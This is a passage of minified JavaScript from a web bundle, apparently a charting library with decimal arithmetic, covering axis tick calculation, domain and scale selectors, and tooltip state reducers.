if(s<0)s=-s,o.s=-1;else{o.s=0,o.e=0,o.d=[0];return}if(s===~~s&&s<1e7){o.e=0,o.d=[s];return}return vb(o,s.toString())}else if(typeof s!="string")throw Error(ta+s);if(s.charCodeAt(0)===45?(s=s.slice(1),o.s=-1):o.s=1,uI.test(s))vb(o,s);else throw Error(ta+s)}if(i.prototype=pe,i.ROUND_UP=0,i.ROUND_DOWN=1,i.ROUND_CEIL=2,i.ROUND_FLOOR=3,i.ROUND_HALF_UP=4,i.ROUND_HALF_DOWN=5,i.ROUND_HALF_EVEN=6,i.ROUND_HALF_CEIL=7,i.ROUND_HALF_FLOOR=8,i.clone=O4,i.config=i.set=dI,e===void 0&&(e={}),e)for(r=["precision","rounding","toExpNeg","toExpPos","LN10"],t=0;t=i[t+1]&&r<=i[t+2])this[n]=r;else throw Error(ta+n+": "+r);if((r=e[n="LN10"])!==void 0)if(r==Math.LN10)this[n]=new this(r);else throw Error(ta+n+": "+r);return this}var C0=O4(cI);ln=new C0(1);const Te=C0;function T4(e){var t;return e===0?t=1:t=Math.floor(new Te(e).abs().log(10).toNumber())+1,t}function M4(e,t,n){for(var r=new Te(e),i=0,s=[];r.lt(t)&&i<1e5;)s.push(r.toNumber()),r=r.add(n),i++;return s}var L4=e=>{var[t,n]=e,[r,i]=[t,n];return t>n&&([r,i]=[n,t]),[r,i]},I4=(e,t,n)=>{if(e.lte(0))return new Te(0);var r=T4(e.toNumber()),i=new Te(10).pow(r),s=e.div(i),o=r!==1?.05:.1,l=new Te(Math.ceil(s.div(o).toNumber())).add(n).mul(o),c=l.mul(i);return t?new Te(c.toNumber()):new Te(Math.ceil(c.toNumber()))},fI=(e,t,n)=>{var r=new Te(1),i=new Te(e);if(!i.isint()&&n){var s=Math.abs(e);s<1?(r=new Te(10).pow(T4(e)-1),i=new Te(Math.floor(i.div(r).toNumber())).mul(r)):s>1&&(i=new Te(Math.floor(e)))}else e===0?i=new Te(Math.floor((t-1)/2)):n||(i=new Te(Math.floor(e)));for(var o=Math.floor((t-1)/2),l=[],c=0;c4&&arguments[4]!==void 0?arguments[4]:0;if(!Number.isFinite((n-t)/(r-1)))return{step:new Te(0),tickMin:new Te(0),tickMax:new Te(0)};var o=I4(new Te(n).sub(t).div(r-1),i,s),l;t<=0&&n>=0?l=new Te(0):(l=new Te(t).add(n).div(2),l=l.sub(new Te(l).mod(o)));var c=Math.ceil(l.sub(t).div(o).toNumber()),u=Math.ceil(new Te(n).sub(l).div(o).toNumber()),d=c+u+1;return d>r?D4(t,n,r,i,s+1):(d0?u+(r-d):u,c=n>0?c:c+(r-d)),{step:o,tickMin:l.sub(new Te(c).mul(o)),tickMax:l.add(new Te(u).mul(o))})},mI=function(t){var[n,r]=t,i=arguments.length>1&&arguments[1]!==void 0?arguments[1]:6,s=arguments.length>2&&arguments[2]!==void 0?arguments[2]:!0,o=Math.max(i,2),[l,c]=L4([n,r]);if(l===-1/0||c===1/0){var u=c===1/0?[l,...Array(i-1).fill(1/0)]:[...Array(i-1).fill(-1/0),c];return n>r?u.reverse():u}if(l===c)return fI(l,i,s);var{step:d,tickMin:f,tickMax:p}=D4(l,c,o,s,0),h=M4(f,p.add(new Te(.1).mul(d)),d);return n>r?h.reverse():h},pI=function(t,n){var[r,i]=t,s=arguments.length>2&&arguments[2]!==void 0?arguments[2]:!0,[o,l]=L4([r,i]);if(o===-1/0||l===1/0)return[r,i];if(o===l)return[o];var c=Math.max(n,2),u=I4(new Te(l).sub(o).div(c-1),s,0),d=[...M4(new Te(o),new Te(l),u),l];return s===!1&&(d=d.map(f=>Math.round(f))),r>i?d.reverse():d},hI=e=>e.rootProps.barCategoryGap,hl=e=>e.rootProps.stackOffset,R4=e=>e.rootProps.reverseStackOrder,P0=e=>e.options.chartName,E0=e=>e.rootProps.syncId,$4=e=>e.rootProps.syncMethod,_0=e=>e.options.eventEmitter,xI=e=>e.rootProps.baseValue,Zt={grid:-100,barBackground:-50,area:100,cursorRectangle:200,bar:300,line:400,axis:500,scatter:600,activeBar:1e3,cursorLine:1100,activeDot:1200,label:2e3},Ii={allowDecimals:!1,allowDataOverflow:!1,angleAxisId:0,reversed:!1,scale:"auto",tick:!0,type:"auto"},nr={allowDataOverflow:!1,allowDecimals:!1,allowDuplicatedCategory:!0,includeHidden:!1,radiusAxisId:0,reversed:!1,scale:"auto",tick:!0,tickCount:5,type:"auto"},nf=(e,t)=>{if(!(!e||!t))return e!=null&&e.reversed?[t[1],t[0]]:t};function B4(e,t,n){if(n!=="auto")return n;if(e!=null)return xr(e,t)?"category":"number"}function yb(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function Lu(e){for(var t=1;t{if(t!=null)return e.polarAxis.angleAxis[t]},A0=L([bI,jk],(e,t)=>{var n;if(e!=null)return e;var r=(n=B4(t,"angleAxis",bb.type))!==null&&n!==void 0?n:"category";return Lu(Lu({},bb),{},{type:r})}),wI=(e,t)=>e.polarAxis.radiusAxis[t],O0=L([wI,jk],(e,t)=>{var n;if(e!=null)return e;var r=(n=B4(t,"radiusAxis",wb.type))!==null&&n!==void 0?n:"category";return Lu(Lu({},wb),{},{type:r})}),rf=e=>e.polarOptions,T0=L([Hr,Kr,kt],$k),F4=L([rf,T0],(e,t)=>{if(e!=null)return fn(e.innerRadius,t,0)}),W4=L([rf,T0],(e,t)=>{if(e!=null)return fn(e.outerRadius,t,t*.8)}),jI=e=>{if(e==null)return[0,0];var{startAngle:t,endAngle:n}=e;return[t,n]},U4=L([rf],jI);L([A0,U4],nf);var V4=L([T0,F4,W4],(e,t,n)=>{if(!(e==null||t==null||n==null))return[t,n]});L([O0,V4],nf);var H4=L([De,rf,F4,W4,Hr,Kr],(e,t,n,r,i,s)=>{if(!(e!=="centric"&&e!=="radial"||t==null||n==null||r==null)){var{cx:o,cy:l,startAngle:c,endAngle:u}=t;return{cx:fn(o,i,i/2),cy:fn(l,s,s/2),innerRadius:n,outerRadius:r,startAngle:c,endAngle:u,clockWise:!1}}}),Je=(e,t)=>t,xl=(e,t,n)=>n;function M0(e){return e==null?void 0:e.id}function K4(e,t,n){var{chartData:r=[]}=t,{allowDuplicatedCategory:i,dataKey:s}=n,o=new Map;return e.forEach(l=>{var c,u=(c=l.data)!==null&&c!==void 0?c:r;if(!(u==null||u.length===0)){var d=M0(l);u.forEach((f,p)=>{var h=s==null||i?p:String(Ve(f,s,null)),x=Ve(f,l.dataKey,0),g;o.has(h)?g=o.get(h):g={},Object.assign(g,{[d]:x}),o.set(h,g)})}}),Array.from(o.values())}function L0(e){return"stackId"in e&&e.stackId!=null&&e.dataKey!=null}var af=(e,t)=>e===t?!0:e==null||t==null?!1:e[0]===t[0]&&e[1]===t[1];function sf(e,t){return Array.isArray(e)&&Array.isArray(t)&&e.length===0&&t.length===0?!0:e===t}function NI(e,t){if(e.length===t.length){for(var n=0;n{var t=De(e);return t==="horizontal"?"xAxis":t==="vertical"?"yAxis":t==="centric"?"angleAxis":"radiusAxis"},ks=e=>e.tooltip.settings.axisId;function kI(e){if(e in ro)return ro[e]();var t="scale".concat(al(e));if(t in ro)return ro[t]()}function jb(e){var t=e.ticks,n=e.bandwidth,r=e.range(),i=[Math.min(...r),Math.max(...r)];return{domain:()=>e.domain(),range:function(s){function o(){return s.apply(this,arguments)}return o.toString=function(){return s.toString()},o}(()=>i),rangeMin:()=>i[0],rangeMax:()=>i[1],isInRange(s){var o=i[0],l=i[1];return o<=l?s>=o&&s<=l:s>=l&&s<=o},bandwidth:n?()=>n.call(e):void 0,ticks:t?s=>t.call(e,s):void 0,map:(s,o)=>{var l=e(s);if(l!=null){if(e.bandwidth&&o!==null&&o!==void 0&&o.position){var c=e.bandwidth();switch(o.position){case"middle":l+=c/2;break;case"end":l+=c;break}}return l}}}}function Nb(e,t,n){if(typeof e=="function")return jb(e.copy().domain(t).range(n));if(e!=null){var r=kI(e);if(r!=null)return r.domain(t).range(n),jb(r)}}var Y4=(e,t)=>{if(t!=null)switch(e){case"linear":{if(!Br(t)){for(var n,r,i=0;ir)&&(r=s))}return n!==void 0&&r!==void 0?[n,r]:void 0}return t}default:return t}};function kb(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function Iu(e){for(var t=1;te.cartesianAxis.xAxis[t],Gr=(e,t)=>{var n=PI(e,t);return n??q4},G4={allowDataOverflow:!1,allowDecimals:!0,allowDuplicatedCategory:!0,angle:0,dataKey:void 0,domain:vh,hide:!0,id:0,includeHidden:!1,interval:"preserveEnd",minTickGap:5,mirror:!1,name:void 0,orientation:"left",padding:{top:0,bottom:0},reversed:!1,scale:"auto",tick:!0,tickCount:5,tickFormatter:void 0,ticks:void 0,type:"number",unit:void 0,width:ll},EI=(e,t)=>e.cartesianAxis.yAxis[t],Xr=(e,t)=>{var n=EI(e,t);return n??G4},_I={domain:[0,"auto"],includeHidden:!1,reversed:!1,allowDataOverflow:!1,allowDuplicatedCategory:!1,dataKey:void 0,id:0,name:"",range:[64,64],scale:"auto",type:"number",unit:""},I0=(e,t)=>{var n=e.cartesianAxis.zAxis[t];return n??_I},it=(e,t,n)=>{switch(t){case"xAxis":return Gr(e,n);case"yAxis":return Xr(e,n);case"zAxis":return I0(e,n);case"angleAxis":return A0(e,n);case"radiusAxis":return O0(e,n);default:throw new Error("Unexpected axis type: ".concat(t))}},AI=(e,t,n)=>{switch(t){case"xAxis":return Gr(e,n);case"yAxis":return Xr(e,n);default:throw new Error("Unexpected axis type: ".concat(t))}},zs=(e,t,n)=>{switch(t){case"xAxis":return Gr(e,n);case"yAxis":return Xr(e,n);case"angleAxis":return A0(e,n);case"radiusAxis":return O0(e,n);default:throw new Error("Unexpected axis type: ".concat(t))}},X4=e=>e.graphicalItems.cartesianItems.some(t=>t.type==="bar")||e.graphicalItems.polarItems.some(t=>t.type==="radialBar");function D0(e,t){return n=>{switch(e){case"xAxis":return"xAxisId"in n&&n.xAxisId===t;case"yAxis":return"yAxisId"in n&&n.yAxisId===t;case"zAxis":return"zAxisId"in n&&n.zAxisId===t;case"angleAxis":return"angleAxisId"in n&&n.angleAxisId===t;case"radiusAxis":return"radiusAxisId"in n&&n.radiusAxisId===t;default:return!1}}}var Z4=e=>e.graphicalItems.cartesianItems,OI=L([Je,xl],D0),R0=(e,t,n)=>e.filter(n).filter(r=>(t==null?void 0:t.includeHidden)===!0?!0:!r.hide),vl=L([Z4,it,OI],R0,{memoizeOptions:{resultEqualityCheck:sf}}),Q4=L([vl],e=>e.filter(t=>t.type==="area"||t.type==="bar").filter(L0)),J4=e=>e.filter(t=>!("stackId"in t)||t.stackId===void 0),TI=L([vl],J4),$0=e=>e.map(t=>t.data).filter(Boolean).flat(1),MI=L([vl],$0,{memoizeOptions:{resultEqualityCheck:sf}}),B0=(e,t)=>{var{chartData:n=[],dataStartIndex:r,dataEndIndex:i}=t;return e.length>0?e:n.slice(r,i+1)},F0=L([MI,S4],B0),W0=(e,t,n)=>(t==null?void 0:t.dataKey)!=null?e.map(r=>({value:Ve(r,t.dataKey)})):n.length>0?n.map(r=>r.dataKey).flatMap(r=>e.map(i=>({value:Ve(i,r)}))):e.map(r=>({value:r})),of=L([F0,it,vl],W0);function ez(e,t){switch(e){case"xAxis":return t.direction==="x";case"yAxis":return t.direction==="y";default:return!1}}function kc(e){if(Lr(e)||e instanceof Date){var t=Number(e);if(Ee(t))return t}}function zb(e){if(Array.isArray(e)){var t=[kc(e[0]),kc(e[1])];return Br(t)?t:void 0}var n=kc(e);if(n!=null)return[n,n]}function Fr(e){return e.map(kc).filter(sr)}function LI(e,t,n){return!n||typeof t!="number"||fr(t)?[]:n.length?Fr(n.flatMap(r=>{var i=Ve(e,r.dataKey),s,o;if(Array.isArray(i)?[s,o]=i:s=o=i,!(!Ee(s)||!Ee(o)))return[t-s,t+o]})):[]}var yt=e=>{var t=St(e),n=ks(e);return zs(e,t,n)},gl=L([yt],e=>e==null?void 0:e.dataKey),II=L([Q4,S4,yt],K4),tz=(e,t,n,r)=>{var i={},s=t.reduce((o,l)=>{if(l.stackId==null)return o;var c=o[l.stackId];return c==null&&(c=[]),c.push(l),o[l.stackId]=c,o},i);return Object.fromEntries(Object.entries(s).map(o=>{var[l,c]=o,u=r?[...c].reverse():c,d=u.map(M0);return[l,{stackedData:bT(e,d,n),graphicalItems:u}]}))},nz=L([II,Q4,hl,R4],tz),rz=(e,t,n,r)=>{var{dataStartIndex:i,dataEndIndex:s}=t;if(r==null&&n!=="zAxis"){var o=kT(e,i,s);if(!(o!=null&&o[0]===0&&o[1]===0))return o}},DI=L([it],e=>e.allowDataOverflow),U0=e=>{var t;if(e==null||!("domain"in e))return vh;if(e.domain!=null)return e.domain;if("ticks"in e&&e.ticks!=null){if(e.type==="number"){var n=Fr(e.ticks);return[Math.min(...n),Math.max(...n)]}if(e.type==="category")return e.ticks.map(String)}return(t=e==null?void 0:e.domain)!==null&&t!==void 0?t:vh},V0=L([it],U0),H0=L([V0,DI],C4),RI=L([nz,qr,Je,H0],rz,{memoizeOptions:{resultEqualityCheck:af}}),lf=e=>e.errorBars,$I=(e,t,n)=>e.flatMap(r=>t[r.id]).filter(Boolean).filter(r=>ez(n,r)),Du=function(){for(var t=arguments.length,n=new Array(t),r=0;r{var s,o;if(n.length>0&&e.forEach(l=>{n.forEach(c=>{var u,d,f=(u=r[c.id])===null||u===void 0?void 0:u.filter(v=>ez(i,v)),p=Ve(l,(d=t.dataKey)!==null&&d!==void 0?d:c.dataKey),h=LI(l,p,f);if(h.length>=2){var x=Math.min(...h),g=Math.max(...h);(s==null||xo)&&(o=g)}var y=zb(p);y!=null&&(s=s==null?y[0]:Math.min(s,y[0]),o=o==null?y[1]:Math.max(o,y[1]))})}),(t==null?void 0:t.dataKey)!=null&&e.forEach(l=>{var c=zb(Ve(l,t.dataKey));c!=null&&(s=s==null?c[0]:Math.min(s,c[0]),o=o==null?c[1]:Math.max(o,c[1]))}),Ee(s)&&Ee(o))return[s,o]},BI=L([F0,it,TI,lf,Je],K0,{memoizeOptions:{resultEqualityCheck:af}});function FI(e){var{value:t}=e;if(Lr(t)||t instanceof Date)return t}var WI=(e,t,n)=>{var r=e.map(FI).filter(i=>i!=null);return n&&(t.dataKey==null||t.allowDuplicatedCategory&&rN(r))?Kk(0,e.length):t.allowDuplicatedCategory?r:Array.from(new Set(r))},iz=e=>e.referenceElements.dots,Ss=(e,t,n)=>e.filter(r=>r.ifOverflow==="extendDomain").filter(r=>t==="xAxis"?r.xAxisId===n:r.yAxisId===n),UI=L([iz,Je,xl],Ss),az=e=>e.referenceElements.areas,VI=L([az,Je,xl],Ss),sz=e=>e.referenceElements.lines,HI=L([sz,Je,xl],Ss),oz=(e,t)=>{if(e!=null){var n=Fr(e.map(r=>t==="xAxis"?r.x:r.y));if(n.length!==0)return[Math.min(...n),Math.max(...n)]}},KI=L(UI,Je,oz),lz=(e,t)=>{if(e!=null){var n=Fr(e.flatMap(r=>[t==="xAxis"?r.x1:r.y1,t==="xAxis"?r.x2:r.y2]));if(n.length!==0)return[Math.min(...n),Math.max(...n)]}},YI=L([VI,Je],lz);function qI(e){var t;if(e.x!=null)return Fr([e.x]);var n=(t=e.segment)===null||t===void 0?void 0:t.map(r=>r.x);return n==null||n.length===0?[]:Fr(n)}function GI(e){var t;if(e.y!=null)return Fr([e.y]);var n=(t=e.segment)===null||t===void 0?void 0:t.map(r=>r.y);return n==null||n.length===0?[]:Fr(n)}var cz=(e,t)=>{if(e!=null){var n=e.flatMap(r=>t==="xAxis"?qI(r):GI(r));if(n.length!==0)return[Math.min(...n),Math.max(...n)]}},XI=L([HI,Je],cz),ZI=L(KI,XI,YI,(e,t,n)=>Du(e,n,t)),Y0=(e,t,n,r,i,s,o,l)=>{if(n!=null)return n;var c=o==="vertical"&&l==="xAxis"||o==="horizontal"&&l==="yAxis",u=c?Du(r,s,i):Du(s,i);return lI(t,u,e.allowDataOverflow)},QI=L([it,V0,H0,RI,BI,ZI,De,Je],Y0,{memoizeOptions:{resultEqualityCheck:af}}),JI=[0,1],q0=(e,t,n,r,i,s,o)=>{if(!((e==null||n==null||n.length===0)&&o===void 0)){var{dataKey:l,type:c}=e,u=xr(t,s);if(u&&l==null){var d;return Kk(0,(d=n==null?void 0:n.length)!==null&&d!==void 0?d:0)}return c==="category"?WI(r,e,u):i==="expand"?JI:o}},G0=L([it,De,F0,of,hl,Je,QI],q0);function eD(e){return e in ro}var uz=(e,t,n)=>{if(e!=null){var{scale:r,type:i}=e;if(r==="auto")return i==="category"&&n&&(n.indexOf("LineChart")>=0||n.indexOf("AreaChart")>=0||n.indexOf("ComposedChart")>=0&&!t)?"point":i==="category"?"band":"linear";if(typeof r=="string"){var s="scale".concat(al(r));return eD(s)?s:"point"}}},Ti=L([it,X4,P0],uz);function X0(e,t,n,r){if(!(n==null||r==null))return typeof e.scale=="function"?Nb(e.scale,n,r):Nb(t,n,r)}var Z0=(e,t,n)=>{var r=U0(t);if(!(n!=="auto"&&n!=="linear")){if(t!=null&&t.tickCount&&Array.isArray(r)&&(r[0]==="auto"||r[1]==="auto")&&Br(e))return mI(e,t.tickCount,t.allowDecimals);if(t!=null&&t.tickCount&&t.type==="number"&&Br(e))return pI(e,t.tickCount,t.allowDecimals)}},Q0=L([G0,zs,Ti],Z0),J0=(e,t,n,r)=>{if(r!=="angleAxis"&&(e==null?void 0:e.type)==="number"&&Br(t)&&Array.isArray(n)&&n.length>0){var i,s,o=t[0],l=(i=n[0])!==null&&i!==void 0?i:0,c=t[1],u=(s=n[n.length-1])!==null&&s!==void 0?s:0;return[Math.min(o,l),Math.max(c,u)]}return t},tD=L([it,G0,Q0,Je],J0),nD=L(of,it,(e,t)=>{if(!(!t||t.type!=="number")){var n=1/0,r=Array.from(Fr(e.map(f=>f.value))).sort((f,p)=>f-p),i=r[0],s=r[r.length-1];if(i==null||s==null)return 1/0;var o=s-i;if(o===0)return 1/0;for(var l=0;li,(e,t,n,r,i)=>{if(!Ee(e))return 0;var s=t==="vertical"?r.height:r.width;if(i==="gap")return e*s/2;if(i==="no-gap"){var o=fn(n,e*s),l=e*s/2;return l-o-(l-o)/s*o}return 0}),rD=(e,t,n)=>{var r=Gr(e,t);return r==null||typeof r.padding!="string"?0:dz(e,"xAxis",t,n,r.padding)},iD=(e,t,n)=>{var r=Xr(e,t);return r==null||typeof r.padding!="string"?0:dz(e,"yAxis",t,n,r.padding)},aD=L(Gr,rD,(e,t)=>{var n,r;if(e==null)return{left:0,right:0};var{padding:i}=e;return typeof i=="string"?{left:t,right:t}:{left:((n=i.left)!==null&&n!==void 0?n:0)+t,right:((r=i.right)!==null&&r!==void 0?r:0)+t}}),sD=L(Xr,iD,(e,t)=>{var n,r;if(e==null)return{top:0,bottom:0};var{padding:i}=e;return typeof i=="string"?{top:t,bottom:t}:{top:((n=i.top)!==null&&n!==void 0?n:0)+t,bottom:((r=i.bottom)!==null&&r!==void 0?r:0)+t}}),oD=L([kt,aD,Fd,Bd,(e,t,n)=>n],(e,t,n,r,i)=>{var{padding:s}=r;return i?[s.left,n.width-s.right]:[e.left+t.left,e.left+e.width-t.right]}),lD=L([kt,De,sD,Fd,Bd,(e,t,n)=>n],(e,t,n,r,i,s)=>{var{padding:o}=i;return s?[r.height-o.bottom,o.top]:t==="horizontal"?[e.top+e.height-n.bottom,e.top+n.top]:[e.top+n.top,e.top+e.height-n.bottom]}),yl=(e,t,n,r)=>{var i;switch(t){case"xAxis":return oD(e,n,r);case"yAxis":return lD(e,n,r);case"zAxis":return(i=I0(e,n))===null||i===void 0?void 0:i.range;case"angleAxis":return U4(e);case"radiusAxis":return V4(e,n);default:return}},fz=L([it,yl],nf),cD=L([Ti,tD],Y4),cf=L([it,Ti,cD,fz],X0);L([vl,lf,Je],$I);function mz(e,t){return e.idt.id?1:0}var uf=(e,t)=>t,df=(e,t,n)=>n,uD=L(Rd,uf,df,(e,t,n)=>e.filter(r=>r.orientation===t).filter(r=>r.mirror===n).sort(mz)),dD=L($d,uf,df,(e,t,n)=>e.filter(r=>r.orientation===t).filter(r=>r.mirror===n).sort(mz)),pz=(e,t)=>({width:e.width,height:t.height}),fD=(e,t)=>{var n=typeof t.width=="number"?t.width:ll;return{width:n,height:e.height}};L(kt,Gr,pz);var mD=(e,t,n)=>{switch(t){case"top":return e.top;case"bottom":return n-e.bottom;default:return 0}},pD=(e,t,n)=>{switch(t){case"left":return e.left;case"right":return n-e.right;default:return 0}},hD=L(Kr,kt,uD,uf,df,(e,t,n,r,i)=>{var s={},o;return n.forEach(l=>{var c=pz(t,l);o==null&&(o=mD(t,r,e));var u=r==="top"&&!i||r==="bottom"&&i;s[l.id]=o-Number(u)*c.height,o+=(u?-1:1)*c.height}),s}),xD=L(Hr,kt,dD,uf,df,(e,t,n,r,i)=>{var s={},o;return n.forEach(l=>{var c=fD(t,l);o==null&&(o=pD(t,r,e));var u=r==="left"&&!i||r==="right"&&i;s[l.id]=o-Number(u)*c.width,o+=(u?-1:1)*c.width}),s}),vD=(e,t)=>{var n=Gr(e,t);if(n!=null)return hD(e,n.orientation,n.mirror)};L([kt,Gr,vD,(e,t)=>t],(e,t,n,r)=>{if(t!=null){var i=n==null?void 0:n[r];return i==null?{x:e.left,y:0}:{x:e.left,y:i}}});var gD=(e,t)=>{var n=Xr(e,t);if(n!=null)return xD(e,n.orientation,n.mirror)};L([kt,Xr,gD,(e,t)=>t],(e,t,n,r)=>{if(t!=null){var i=n==null?void 0:n[r];return i==null?{x:0,y:e.top}:{x:i,y:e.top}}});L(kt,Xr,(e,t)=>{var n=typeof t.width=="number"?t.width:ll;return{width:n,height:e.height}});var hz=(e,t,n,r)=>{if(n!=null){var{allowDuplicatedCategory:i,type:s,dataKey:o}=n,l=xr(e,r),c=t.map(u=>u.value);if(o&&l&&s==="category"&&i&&rN(c))return c}},ev=L([De,of,it,Je],hz),xz=(e,t,n,r)=>{if(!(n==null||n.dataKey==null)){var{type:i,scale:s}=n,o=xr(e,r);if(o&&(i==="number"||s!=="auto"))return t.map(l=>l.value)}},tv=L([De,of,zs,Je],xz);L([De,AI,Ti,cf,ev,tv,yl,Q0,Je],(e,t,n,r,i,s,o,l,c)=>{if(t!=null){var u=xr(e,c);return{angle:t.angle,interval:t.interval,minTickGap:t.minTickGap,orientation:t.orientation,tick:t.tick,tickCount:t.tickCount,tickFormatter:t.tickFormatter,ticks:t.ticks,type:t.type,unit:t.unit,axisType:c,categoricalDomain:s,duplicateDomain:i,isCategorical:u,niceTicks:l,range:o,realScaleType:n,scale:r}}});var yD=(e,t,n,r,i,s,o,l,c)=>{if(!(t==null||r==null)){var u=xr(e,c),{type:d,ticks:f,tickCount:p}=t,h=n==="scaleBand"&&typeof r.bandwidth=="function"?r.bandwidth()/2:2,x=d==="category"&&r.bandwidth?r.bandwidth()/h:0;x=c==="angleAxis"&&s!=null&&s.length>=2?Gt(s[0]-s[1])*2*x:x;var g=f||i;return g?g.map((y,v)=>{var b=o?o.indexOf(y):y,w=r.map(b);return Ee(w)?{index:v,coordinate:w+x,value:y,offset:x}:null}).filter(sr):u&&l?l.map((y,v)=>{var b=r.map(y);return Ee(b)?{coordinate:b+x,value:y,index:v,offset:x}:null}).filter(sr):r.ticks?r.ticks(p).map((y,v)=>{var b=r.map(y);return Ee(b)?{coordinate:b+x,value:y,index:v,offset:x}:null}).filter(sr):r.domain().map((y,v)=>{var b=r.map(y);return Ee(b)?{coordinate:b+x,value:o?o[y]:y,index:v,offset:x}:null}).filter(sr)}};L([De,zs,Ti,cf,Q0,yl,ev,tv,Je],yD);var bD=(e,t,n,r,i,s,o)=>{if(!(t==null||n==null||r==null||r[0]===r[1])){var l=xr(e,o),{tickCount:c}=t,u=0;return u=o==="angleAxis"&&(r==null?void 0:r.length)>=2?Gt(r[0]-r[1])*2*u:u,l&&s?s.map((d,f)=>{var p=n.map(d);return Ee(p)?{coordinate:p+u,value:d,index:f,offset:u}:null}).filter(sr):n.ticks?n.ticks(c).map((d,f)=>{var p=n.map(d);return Ee(p)?{coordinate:p+u,value:d,index:f,offset:u}:null}).filter(sr):n.domain().map((d,f)=>{var p=n.map(d);return Ee(p)?{coordinate:p+u,value:i?i[d]:d,index:f,offset:u}:null}).filter(sr)}},vz=L([De,zs,cf,yl,ev,tv,Je],bD),gz=L(it,cf,(e,t)=>{if(!(e==null||t==null))return Iu(Iu({},e),{},{scale:t})}),wD=L([it,Ti,G0,fz],X0);L((e,t,n)=>I0(e,n),wD,(e,t)=>{if(!(e==null||t==null))return Iu(Iu({},e),{},{scale:t})});var jD=L([De,Rd,$d],(e,t,n)=>{switch(e){case"horizontal":return t.some(r=>r.reversed)?"right-to-left":"left-to-right";case"vertical":return n.some(r=>r.reversed)?"bottom-to-top":"top-to-bottom";case"centric":case"radial":return"left-to-right";default:return}}),yz=e=>e.options.defaultTooltipEventType,bz=e=>e.options.validateTooltipEventTypes;function wz(e,t,n){if(e==null)return t;var r=e?"axis":"item";return n==null?t:n.includes(r)?r:t}function nv(e,t){var n=yz(e),r=bz(e);return wz(t,n,r)}function ND(e){return je(t=>nv(t,e))}var jz=(e,t)=>{var n,r=Number(t);if(!(fr(r)||t==null))return r>=0?e==null||(n=e[r])===null||n===void 0?void 0:n.value:void 0},kD=e=>e.tooltip.settings,si={active:!1,index:null,dataKey:void 0,graphicalItemId:void 0,coordinate:void 0},zD={itemInteraction:{click:si,hover:si},axisInteraction:{click:si,hover:si},keyboardInteraction:si,syncInteraction:{active:!1,index:null,dataKey:void 0,label:void 0,coordinate:void 0,sourceViewBox:void 0,graphicalItemId:void 0},tooltipItemPayloads:[],settings:{shared:void 0,trigger:"hover",axisId:0,active:!1,defaultIndex:void 0}},Nz=nn({name:"tooltip",initialState:zD,reducers:{addTooltipEntrySettings:{reducer(e,t){e.tooltipItemPayloads.push(t.payload)},prepare:He()},replaceTooltipEntrySettings:{reducer(e,t){var{prev:n,next:r}=t.payload,i=qn(e).tooltipItemPayloads.indexOf(n);i>-1&&(e.tooltipItemPayloads[i]=r)},prepare:He()},removeTooltipEntrySettings:{reducer(e,t){var n=qn(e).tooltipItemPayloads.indexOf(t.payload);n>-1&&e.tooltipItemPayloads.splice(n,1)},prepare:He()},setTooltipSettingsState(e,t){e.settings=t.payload},setActiveMouseOverItemIndex(e,t){e.syncInteraction.active=!1,e.keyboardInteraction.active=!1,e.itemInteraction.hover.active=!0,e.itemInteraction.hover.index=t.payload.activeIndex,e.itemInteraction.hover.dataKey=t.payload.activeDataKey,e.itemInteraction.hover.graphicalItemId=t.payload.activeGraphicalItemId,e.itemInteraction.hover.coordinate=t.payload.activeCoordinate},mouseLeaveChart(e){e.itemInteraction.hover.active=!1,e.axisInteraction.hover.active=!1},mouseLeaveItem(e){e.itemInteraction.hover.active=!1},setActiveClickItemIndex(e,t){e.syncInteraction.active=!1,e.itemInteraction.click.active=!0,e.keyboardInteraction.active=!1,e.itemInteraction.click.index=t.payload.activeIndex,e.itemInteraction.click.dataKey=t.payload.activeDataKey,e.itemInteraction.click.graphicalItemId=t.payload.activeGraphicalItemId,e.itemInteraction.click.coordinate=t.payload.activeCoordinate},setMouseOverAxisIndex(e,t){e.syncInteraction.active=!1,e.axisInteraction.hover.active=!0,e.keyboardInteraction.active=!1,e.axisInteraction.hover.index=t.payload.activeIndex,e.axisInteraction.hover.dataKey=t.payload.activeDataKey,e.axisInteraction.hover.coordinate=t.payload.activeCoordinate},setMouseClickAxisIndex(e,t){e.syncInteraction.active=!1,e.keyboardInteraction.active=!1,e.axisInteraction.click.active=!0,e.axisInteraction.click.index=t.payload.activeIndex,e.axisInteraction.click.dataKey=t.payload.activeDataKey,e.axisInteraction.click.coordinate=t.payload.activeCoordinate},setSyncInteraction(e,t){e.syncInteraction=t.payload},setKeyboardInteraction(e,t){e.keyboardInteraction.active=t.payload.active,e.keyboardInteraction.index=t.payload.activeIndex,e.keyboardInteraction.coordinate=t.payload.activeCoordinate}}}),{addTooltipEntrySettings:SD,replaceTooltipEntrySettings:CD,removeTooltipEntrySettings:PD,setTooltipSettingsState:ED,setActiveMouseOverItemIndex:kz,mouseLeaveItem:_D,mouseLeaveChart:zz,setActiveClickItemIndex:AD,setMouseOverAxisIndex:Sz,setMouseClickAxisIndex:OD,setSyncInteraction:gh,setKeyboardInteraction:yh}=Nz.actions,TD=Nz.reducer;function Sb(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function Jl(e){for(var t=1;t{if(t==null)return si;var i=DD(e,t,n);if(i==null)return si;if(i.active)return i;if(e.keyboardInteraction.active)return e.keyboardInteraction;if(e.syncInteraction.active&&e.syncInteraction.index!=null)return e.syncInteraction;var s=e.settings.active===!0;if(RD(i)){if(s)return Jl(Jl({},i),{},{active:!0})}else if(r!=null)return{active:!0,coordinate:void 0,dataKey:void 0,index:r,graphicalItemId:void 0};return Jl(Jl({},si),{},{coordinate:i.coordinate})};function $D(e){if(typeof e=="number")return Number.isFinite(e)?e:void 0;if(e instanceof Date){var t=e.valueOf();return Number.isFinite(t)?t:void 0}var n=Number(e);return Number.isFinite(n)?n:void 0}function BD(e,t){var n=$D(e),r=t[0],i=t[1];if(n===void 0)return!1;var s=Math.min(r,i),o=Math.max(r,i);return n>=s&&n<=o}function 